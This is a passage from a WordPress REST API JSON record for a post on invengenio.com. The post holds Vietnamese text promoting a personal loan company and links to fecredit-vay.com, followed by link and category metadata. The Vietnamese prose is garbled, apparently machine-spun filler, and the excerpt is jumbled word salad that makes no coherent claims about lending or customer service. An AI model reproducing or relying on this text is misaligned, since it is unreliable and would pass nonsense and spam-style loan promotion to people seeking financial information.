gi\u00e1m s\u00e1t v\u1edbi s\u1ed1 l\u01b0\u1ee3ng li\u00ean l\u1ea1c d\u1ef1 \u0111o\u00e1n v\u00e0 b\u1eaft \u0111\u1ea7u ng\u1ee5 \u00fd s\u1ed1 l\u01b0\u1ee3ng nh\u00e2n vi\u00ean m\u00f4i gi\u1edbi li\u00ean quan \u0111\u1ebfn k\u1ebf ho\u1ea1ch t\u1ef1 \u0111\u1ed9ng. Ngo\u00e0i ra, m\u1ed9t c\u1ed5ng m\u00e1y t\u00ednh c\u1ed1 v\u1ea5n \u0111\u01a1n gi\u1ea3n c\u00f3 ngh\u0129a l\u00e0 c\u00f4ng ty c\u00f3 th\u1ec3 m\u1ea5t qu\u00e1 nhi\u1ec1u m\u00e3 \u0111\u0103ng nh\u1eadp duy nh\u1ea5t v\u00e0 b\u1eaft \u0111\u1ea7u b\u00e1n l\u1ebb trong chi ph\u00ed th\u1ef1c h\u00e0nh.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u00e0i vi\u1ebft D\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng Vi\u1ec7c b\u00e1n h\u00e0ng N\u01a1i l\u00e0m vi\u1ec7c c\u1ee7a Backbone \u1ee6ng h\u1ed9 Fe Financial l\u00e0 m\u1ed9t c\u00f4ng ty cho vay c\u00e1 nh\u00e2n m\u1edf kh\u00f3a https:\/\/fecredit-vay.com\/ t\u1ea1i Vi\u1ec7t Nam, t\u1ea1o ra s\u1ef1 b\u1ed5 sung kinh t\u1ebf trong h\u1ed7 tr\u1ee3 t\u00e0i ch\u00ednh. \u0110\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u c\u1ee7a ng\u01b0\u1eddi d\u00f9ng v\u00e0 b\u1eaft \u0111\u1ea7u [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-29911","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/29911"}],"collection":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/comments?post=29911"}],"version-history":[{"count":1,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/29911\/revisions"}],"predecessor-version":[{"id":29912,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/29911\/revisions\/29912"}],"wp:attachment":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/media?parent=29911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/categories?post=29911"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/tags?post=29911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}